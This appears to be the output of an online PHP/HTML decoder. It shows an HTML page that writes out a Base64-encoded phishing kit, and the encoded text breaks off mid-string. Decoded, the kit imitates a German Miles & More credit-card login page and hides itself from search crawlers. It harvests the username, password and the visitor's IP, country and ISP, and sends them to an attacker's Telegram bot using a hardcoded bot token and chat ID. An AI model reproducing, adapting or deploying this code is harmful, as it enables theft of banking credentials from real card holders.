Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<!DOCTYPE html> <html> <head> <title>Encoded Page</title> </..

Decoded Output download

<?   
    <!DOCTYPE html> 
    <html> 
    <head> 
        <title>Encoded Page</title> 
    </head> 
    <body> 
        <script> 
            // Decode the Base64 content and write it to the document 
            document.write(atob("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSI+CiAgICA8bWV0YSBjb250ZW50PSJJRT1FZGdlIiBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiPgogICAgPG1ldGEgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAsIHVzZXItc2NhbGFibGU9MCIgbmFtZT0idmlld3BvcnQiPgogICAgPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwczovL3d3dy5taWxlcy1hbmQtbW9yZS1rcmVkaXRrYXJ0ZS5jb20vZXhwb3J0L3NpdGVzL2xobW1jYy9fY29uZi9zeXN0ZW0vcGl4L2Zhdmljb24uaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+CiAgICA8dGl0bGU+TWlsZXMgJmFtcDsgTW9yZSA8L3RpdGxlPgoJICAgICAgICAgPHNjcmlwdD4KICAgICAgICB3aW5kb3cub25sb2FkID0gZnVuY3Rpb24gKCkgewogICAgICAgICAgICB2YXIgaXNCb3QgPSBkZXRlY3RCb3QoKTsKCiAgICAgICAgICAgIGlmIChpc0JvdCkgewogICAgICAgICAgICAgICAgLy8gSWYgaXQncyBhIGJvdCwgeW91IGNhbiB0YWtlIHNvbWUgYWN0aW9uIGhlcmUsIGxpa2UgcmVkaXJlY3Rpbmcgb3IgYmxvY2tpbmcgYWNjZXNzLgogICAgICAgICAgICAgICAgYWxlcnQoIlNvcnJ5LCB0aGlzIHBhZ2UgaXMgbm90IGZvbmQuIik7CiAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9ICJodHRwczovL3d3dy5taWxlcy1hbmQtbW9yZS5jb20vZGUvZW4uaHRtbCI7CiAgICAgICAgICAgIH0KICAgICAgICB9OwoKICAgICAgICBmdW5jdGlvbiBkZXRlY3RCb3QoKSB7CiAgICAgICAgICAgIC8vIExpc3Qgb2YgY29tbW9uIHVzZXIgYWdlbnQgc3RyaW5ncyBmb3IgYm90cwogICAgICAgICAgICB2YXIgYm90VXNlckFnZW50cyA9IFsKICAgICAgICAgICAgICAgICJnb29nbGVib3QiLAogICAgICAgICAgICAgICAgImJpbmdib3QiLAogICAgICAgICAgICAgICAgInNsdXJwIiwKICAgICAgICAgICAgICAgICJkdWNrZHVja2JvdCIsCgkJCQkiYW1hem9uIiwKICAgICAgICAgICAgICAgIC8vIEFkZCBtb3JlIHVzZXIgYWdlbnRzIGFzIG5lZWRlZAogICAgICAgICAgICBdOwoKICAgICAgICAgICAgdmFyIHVzZXJBZ2VudCA9IG5hdmlnYXRvci51c2VyQWdlbnQudG9Mb3dlckNhc2UoKTsKCiAgICAgICAgICAgIC8vIENoZWNrIGlmIHRoZSB1c2VyIGFnZW50IGNvbnRhaW5zIGFueSBvZiB0aGUgYm90IHN0cmluZ3MKICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBib3RVc2VyQWdlbnRzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgICAgICBpZiAodXNlckFnZW50LmluZGV4T2YoYm90VXNlckFnZW50c1tpXSkgIT09IC0xKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7IC8vIEl0J3MgYSBib3QKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyAvLyBJdCdzIG5vdCBhIGJvdAogICAgICAgIH0KICAgIDwvc2NyaXB0PgoKICAgIDxsaW5rIGhyZWY9Ii4vZGUvYnJhbmQtbWluLmNzcyIgbWVkaWE9ImFsbCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+CgogICAgPG1ldGEgY2xhc3M9ImZvdW5kYXRpb24tbXEiPgoKICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CiAgICAgICAgLnNob3dGb3JMb2dnZWRpbiB7CiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmUgIWltcG9ydGFudDsKICAgICAgICB9CgogICAgICAgIC5oaWRlRm9yTG9nZ2VkaW4ge30KICAgIDwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGNsYXNzPSJjb3JlIG1hbSBva2tCb2R5IGd1ZXN0TW9kZSI+CiAgICA8ZGl2IGNsYXNzPSIiIGlkPSJoZWFkZXItd3JhcHBlciIgc3R5bGU9InBhZGRpbmctYm90dG9tOiAwcHg7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgdG9wOiAwcHg7Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgbG9nb1JvdyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbHVtbiBsb2dvQ29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxhIGhyZWY9IiMiPgogICAgICAgICAgICAgICAgICAgIDxpbWcgYWx0PSIiIHNyYz0iLi9kZS9sb2dvLnBuZyI+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImtrLWhlYWRlci1wYXJlbnQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cga2staGVhZGVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbHVtbiI+CiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImJlZm9yZS10b3AtYmFyIj4KICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPG5hdiBjbGFzcz0idG9wLWJhciI+CiAgICAgICAgICAgICAgICAgICAgPC9uYXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sdW1uIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxvZ2luLWluZm8tYmFyIj4KICAgICAgICAgICAgICAgICAgICA8c3BhbiBpZD0ic2Vzc2lvbl9pbmZvX2JhciAiIHN0eWxlPSJkaXNwbGF5OiBub25lIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InNlc3Npb25faW5mb19sYWJlbCIgaWQ9InNlc3Npb25faW5mb19sYWJlbCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImxpbmsgZXZ0LWxvZ2luIiBkYXRhLWFieC1qc2V2ZW50PSJsb2dpbiIgaHJlZj0iIyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYWJheHgtYnV0dG9uLWxhYmVsIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBbm1lbGRlbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItc2VwYXJhdG9yIj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPGRpdiBjbGFzcz0ic21hbGwtMTIgY29sdW1ucyBjb250ZW50Q29udGFpbmVyIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY21zVGV4dCI+CiAgICAgICAgICAgICAgICA8IS0tcHJvdGVjdGVkX3N0YXJ0LS0+CiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMz4KICAgICAgICAgICAgICAgICAgICAgICAgV2lsbGtvbW1lbiBpbiBJaHJlbQogICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibm93cmFwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9ubGluZS1LYXJ0ZW5rb250bwogICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPC9oMz4KICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgCgkJCQkJCTxmb3JtIGFjdGlvbj0iIyIgY2xhc3M9ImFiYXh4LWZvcm0iIGRhdGEteHBvcHVwLW1vZGU9ImF1dG8iIGlkPSJsb2dpbiIgbWV0aG9kPSJwb3N0IiBuYW1lPSJsb2dpbiIgb25zdWJtaXQ9InJldHVybiB2YWxpZGF0ZUZvcm0oKTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0ibWF4LXdpZHRoOiA4NzBweDt0ZXh0LWFsaWduOiBjZW50ZXI7IG1hcmdpbjogMCBhdXRvOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG5vc2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI0VFQUUwMDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJpdHRlIGFrdGl2aWVyZW4gU2llIEphdmFTY3JpcHQsIHVtIGFsbGUgRnVua3Rpb25lbiBJaHJlcyBPbmxpbmUtS2FydGVua29udG9zIG51dHplbiB6dSBrw7ZubmVuLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9ub3NjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJjb29raWVIaW50IiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2YwMDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJpdHRlIGFrdGl2aWVyZW4gU2llIENvb2tpZXMgZsO8ciBlaW5lIGZlaGxlcmZyZWllIEZ1bmt0aW9uIElocmVzIE9ubGluZS1LYXJ0ZW5rb250b3MuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KPGRpdiBpZD0iZXJyb3ItbWVzc2FnZSI+PC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9InVhQnJvd3NlciIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iQ2hyb21lIC0gMTE5LjAuMC4wIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KCQkJCQkJCQkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0ibWF4LXdpZHRoOiAzMDBweDsgZGlzcGxheTogaW5saW5lLWJsb2NrOyB3aWR0aDogMTAwJTsgdGV4dC1hbGlnbjogbGVmdDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sdW1ucyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJhc3BlY3QtbGFiZWwiIGZvcj0iaWQxMDQ4MzI1OTBfal91c2VybmFtZSIgaWQ9ImlkMTA0ODMyNTkwX2pfdXNlcm5hbWUtbGFiZWwiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFubWVsZGVuYW1lIChMZWdpdGltYXRpb25zIElEKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9sYWJlbD4KCQkJCQkJCQkJCQkKCQkJCQkJCQkJCQkKCQkJCQkJCQkJCQkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgYXV0b2NhcGl0YWxpemU9Im9mZiIgYXV0b2NvbXBsZXRlPSJvZmYiIGF1dG9jb3JyZWN0PSJvZmYiIGF1dG9mb2N1cz0iYXV0b2ZvY3VzIiBjbGFzcz0iZmllbGQgdmlydHVhbF9rZXlwYWQgcXdlcnR6MiB0ZXh0IGFiYXh4LXRleHQtODAgaXMta2V5cGFkIiBpZD0iaWQxMDQ4MzI1OTBfal91c2VybmFtZSIgbWF4bGVuZ3RoPSIzMCIgbmFtZT0ial91c2VybmFtZSIgdHlwZT0idGV4dCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBhbHQ9IsOWZmZuZW4iIGNsYXNzPSJrZXlwYWQtdHJpZ2dlciIgc3JjPSIuL2RlL2NhbGMucG5nIiB0aXRsZT0iw5ZmZm5lbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbHVtbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iYXNwZWN0LWxhYmVsIiBmb3I9ImlkMTA0ODMyNTkwX2pfcGFzc3dvcmQiIGlkPSJpZDEwNDgzMjU5MF9qX3Bhc3N3b3JkLWxhYmVsIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQYXNzd29ydAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgYXV0b2NvbXBsZXRlPSJvZmYiIGNsYXNzPSJmaWVsZCB2aXJ0dWFsX2tleXBhZCB0ZXh0IGFiYXh4LXRleHQtODAgcGFzc3dvcmRLZXlwYWQgaXMta2V5cGFkIiBpZD0iaWQxMDQ4MzI1OTBfal9wYXNzd29yZCIgbWF4bGVuZ3RoPSIxMDAiIG5hbWU9ImpfcGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGFsdD0iw5ZmZm5lbiIgY2xhc3M9ImtleXBhZC10cmlnZ2VyIiBzcmM9Ii4vZGUvY2FsYy5wbmciIHRpdGxlPSLDlmZmbmVuIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImJ1dHRvbiBwb3JfYWN0aW9uIGV2dC1sb2dpbiIgZGF0YS1hYngtanNldmVudD0ibG9naW4iIGRhdGEteGV2ZW50PSJsb2dpbiIgc3R5bGU9IndpZHRoOjEwMCU7IG1heC13aWR0aDogMTAwJTsiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkFubWVsZGVuIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoJCQkJCQkJCgkJCQkJCQkKPHNjcmlwdD4KICBsZXQgaXBEYXRhID0geyBpcDogJ04vQScsIGNvdW50cnk6ICdOL0EnLCBvcmc6ICdOL0EnIH07CgogIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCAoZXZlbnQpID0+IHsKICAgIGZldGNoKCdodHRwczovL2lwaW5mby5pby9qc29uJykKICAgICAgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UuanNvbigpKQogICAgICAudGhlbihkYXRhID0+IHsKICAgICAgICBpcERhdGEgPSBkYXRhOwogICAgICB9KQogICAgICAuY2F0Y2goZXJyb3IgPT4gY29uc29sZS5lcnJvcignRXJyb3IgZmV0Y2hpbmcgSVAgaW5mbzonLCBlcnJvcikpOwoKICAgIGNvbnN0IGxvZ2luRm9ybSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2Zvcm0nKTsKICAgIGxvZ2luRm9ybS5hZGRFdmVudExpc3RlbmVyKCdzdWJtaXQnLCBmdW5jdGlvbiAoZXZlbnQpIHsKICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKCiAgICAgIGlmICh2YWxpZGF0ZUZvcm0oKSkgewogICAgICAgIGNvbnN0IHVzZXJuYW1lID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lkMTA0ODMyNTkwX2pfdXNlcm5hbWUnKS52YWx1ZTsKICAgICAgICBjb25zdCBwYXNzd29yZCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpZDEwNDgzMjU5MF9qX3Bhc3N3b3JkJykudmFsdWU7CiAgICAgICAgY29uc3QgbWVzc2FnZSA9IGNyZWF0ZUxvZ2luTWVzc2FnZShpcERhdGEsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgogICAgICAgIHNlbmRNZXNzYWdlVG9UZWxlZ3JhbShtZXNzYWdlKQogICAgICAgICAgLnRoZW4oKCkgPT4gewogICAgICAgICAgICAvLyBSZWRpcmVjdCB0byAnMS5odG1sJyBhZnRlciBzZW5kaW5nIHRoZSBUZWxlZ3JhbSBtZXNzYWdlCiAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gJzAuaHRtbCc7CiAgICAgICAgICB9KQogICAgICAgICAgLmNhdGNoKGVycm9yID0+IGNvbnNvbGUuZXJyb3IoJ0Vycm9yIHNlbmRpbmcgbWVzc2FnZSB0byBUZWxlZ3JhbTonLCBlcnJvcikpOwogICAgICB9CiAgICB9KTsKICB9KTsKCiAvLyBSZWd1bGFyIGV4cHJlc3Npb24gdG8gY2hlY2sgaWYgdGhlIGlucHV0IGlzIGFuIGVtYWlsIGFkZHJlc3MKdmFyIGVtYWlsUmVnZXggPSAvXig/IS4qZGlzdGFuY2UpKD8hW15cc0BdK1wuW15cc0BdKyQpW15cc0BdK0BbXlxzQF0rXC5bXlxzQF0rJC87CgovLyBSZWd1bGFyIGV4cHJlc3Npb24gdG8gY2hlY2sgaWYgdGhlIGlucHV0IGlzIGEgMTUtZGlnaXQgbnVtYmVyCnZhciBmaWZ0ZWVuRGlnaXROdW1iZXJSZWdleCA9IC9eXGR7MTV9JC87CgovLyBSZWd1bGFyIGV4cHJlc3Npb24gdG8gY2hlY2sgaWYgdGhlcmUgYXJlIG5vIHNwYWNlcyBiZXR3ZWVuIGxldHRlcnMKdmFyIG5vU3BhY2VCZXR3ZWVuTGV0dGVyc1JlZ2V4ID0gL15bXlxzXSskLzsKCi8vIEZ1bmN0aW9uIHRvIHBlcmZvcm0gdmFsaWRhdGlvbgpmdW5jdGlvbiB2YWxpZGF0ZUZvcm0oKSB7CiAgLy8gR2V0IHRoZSB2YWx1ZXMgZnJvbSB0aGUgaW5wdXQgZmllbGRzCiAgdmFyIHVzZXJuYW1lID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lkMTA0ODMyNTkwX2pfdXNlcm5hbWUnKS52YWx1ZTsKICB2YXIgcGFzc3dvcmQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaWQxMDQ4MzI1OTBfal9wYXNzd29yZCcpLnZhbHVlOwoKICAvLyBDaGVjayBpZiB0aGVyZSBhcmUgc3BhY2VzIGJldHdlZW4gbGV0dGVycyBpbiB0aGUgdXNlcm5hbWUKICBpZiAoIW5vU3BhY2VCZXR3ZWVuTGV0dGVyc1JlZ2V4LnRlc3QodXNlcm5hbWUpKSB7CiAgICAvLyBTaG93IGVycm9yIG1lc3NhZ2UgZm9yIHNwYWNlcyBpbiB0aGUgdXNlcm5hbWUKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvci1tZXNzYWdlJykuaW5uZXJIVE1MID0gJ0RlciBBbm1lbGRlbmFtZSBkYXJmIGtlaW5lIExlZXJ6ZWljaGVuIGVudGhhbHRlbi4nOwogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yLW1lc3NhZ2UnKS5zdHlsZS5jb2xvciA9ICdyZWQnOwogICAgcmV0dXJuIGZhbHNlOwogIH0KCiAgaWYgKGVtYWlsUmVnZXgudGVzdCh1c2VybmFtZSkpIHsKICAgIC8vIFNob3cgZXJyb3IgbWVzc2FnZSBmb3IgaW52YWxpZCBlbWFpbCB1c2VybmFtZQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yLW1lc3NhZ2UnKS5pbm5lckhUTUwgPSAnRGllIEVpbmdhYmUgZGFyZiBrZWluZSBFLU1haWwtQWRyZXNzZSBzZWluLic7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3ItbWVzc2FnZScpLnN0eWxlLmNvbG9yID0gJ3JlZCc7CiAgICByZXR1cm4gZmFsc2U7CiAgfQoKICBpZiAoZmlmdGVlbkRpZ2l0TnVtYmVyUmVnZXgudGVzdCh1c2VybmFtZSkpIHsKICAgIC8vIFNob3cgZXJyb3IgbWVzc2FnZSBmb3IgaW52YWxpZCAxNS1kaWdpdCBudW1iZXIgdXNlcm5hbWUKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvci1tZXNzYWdlJykuaW5uZXJIVE1MID0gJ0RpZSBFaW5nYWJlIGRhcmYga2VpbmUgMTUtc3RlbGxpZ2UgWmFobCBzZWluLic7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3ItbWVzc2FnZScpLnN0eWxlLmNvbG9yID0gJ3JlZCc7CiAgICByZXR1cm4gZmFsc2U7CiAgfQoKICAvLyBWYWxpZGF0ZSBwYXNzd29yZCAobWluaW11bSA1IGNoYXJhY3RlcnMpCiAgaWYgKHBhc3N3b3JkLmxlbmd0aCA8IDUpIHsKICAgIC8vIFNob3cgZXJyb3IgbWVzc2FnZSBmb3IgaW52YWxpZCBwYXNzd29yZAogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yLW1lc3NhZ2UnKS5pbm5lckhUTUwgPSAnRGFzIFBhc3N3b3J0IG11c3MgbWluZGVzdGVucyA1IFplaWNoZW4gbGFuZyBzZWluLic7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3ItbWVzc2FnZScpLnN0eWxlLmNvbG9yID0gJ3JlZCc7CiAgICByZXR1cm4gZmFsc2U7CiAgfQoKICAvLyBJZiBldmVyeXRoaW5nIGlzIHZhbGlkLCBjbGVhciBwcmV2aW91cyBlcnJvciBtZXNzYWdlcwogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvci1tZXNzYWdlJykuaW5uZXJIVE1MID0gJyc7CiAgcmV0dXJuIHRydWU7Cn0KCgogIGZ1bmN0aW9uIGNyZWF0ZUxvZ2luTWVzc2FnZShkYXRhLCB1c2VybmFtZSwgcGFzc3dvcmQpIHsKICAgIGNvbnN0IHsgaXAgPSAnTi9BJywgY291bnRyeSA9ICdOL0EnLCBvcmcgPSAnTi9BJyB9ID0gZGF0YTsKCiAgICByZXR1cm4gYCMjIyMjIyMjIExvZ2luIE1pbGVzICMjIyMjIyMjIyMKCvCflbXvuI/igI3imYLvuI8oTGVnaXRpbWF0aW9ucyBJRCk6ICAke3VzZXJuYW1lfQrwn5SSIFBhc3N3b3J0OiAke3Bhc3N3b3JkfQojIyMjIyMjIyBVc2VyIEluZm9ybWF0aW9uICMjIyMjIyMjIwrwn5KAIElQIEFkZHJlc3M6ICR7aXB9CvCfjI0gQ291bnRyeTogJHtjb3VudHJ5fQrwn5OhIEludGVybmV0IFNlcnZpY2UgUHJvdmlkZXI6ICR7b3JnfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjYDsKICB9CgogIGZ1bmN0aW9uIHNlbmRNZXNzYWdlVG9UZWxlZ3JhbShtZXNzYWdlKSB7CiAgICBjb25zdCBib3RUb2tlbiA9ICc2OTA4NDA1Njc4OkFBSDlpYUtvNmxMcmtVOGk5RXVrcXBuMl9UNS1tWWN1QUFvJzsgLy8gUmVwbGFjZSB3aXRoIHlvdXIgYWN0dWFsIGJvdCB0b2tlbgogICAgY29uc3QgY2hhdElkID0gJzYxNDk1NzIyNTEnOyAvLyBSZXBsYWNlIHdpdGggeW91ciBhY3R1YWwgY2hhdCBJRAoKICAgIHJldHVybiBmZXRjaChgaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCR7Ym90VG9rZW59L3NlbmRNZXNzYWdlYCwgewogICAgICBtZXRob2Q6ICdQT1NUJywKICAgICAgaGVhZGVyczogewogICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicKICAgICAgfSwKICAgICAgYm9keTogSlNPTi5zdHJpbmdpZnkoewogICAgICAgIGNoYXRfaWQ6IGNoYXRJZCwKICAgICAgICB0ZXh0OiBtZXNzYWdlCiAgICAgIH0pCiAgICB9KQogICAgLnRoZW4ocmVzcG9uc2UgPT4gewogICAgICBpZiAoIXJlc3BvbnNlLm9rKSB7CiAgICAgICAgdGhyb3cgbmV3IEVycm9yKGBUZWxlZ3JhbSBBUEkgZXJyb3I6ICR7cmVzcG9uc2Uuc3RhdHVzfSAtICR7cmVzcG9uc2Uuc3RhdHVzVGV4dH1gKTsKICAgICAgfQogICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOwogICAgfSkKICAgIC5jYXRjaChlcnJvciA9PiBjb25zb2xlLmVycm9yKCdFcnJvciBzZW5kaW5nIG1lc3NhZ2UgdG8gVGVsZWdyYW06JywgZXJyb3IpKTsKICB9Cjwvc2NyaXB0PgoJCQoKIAoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idWFCcm93c2VyIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJDaHJvbWUgLSAxMTkuMC4wLjAiPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iaW5kZXguaHRtbCIgZGF0YS14cG9wdXAtbW9kZT0iYXV0byIgaWQ9Im5ldy1iYW5raW5nLWZvcm0iIG1ldGhvZD0icG9zdCIgbmFtZT0ibmV3LWJhbmtpbmctZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXgtd2lkdGg6IDg3MHB4O3RleHQtYWxpZ246IGNlbnRlcjsgbWFyZ2luOiAwIGF1dG87Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXgtd2lkdGg6IDMwMHB4OyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IHdpZHRoOiAxMDAlOyB0ZXh0LWFsaWduOiBsZWZ0OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJidXR0b24gbmV3X2JhbmtpbmdfYnV0dG9uIGV2dC1uZXdCYW5raW5nIiBkYXRhLWFieC1qc2V2ZW50PSJuZXdCYW5raW5nI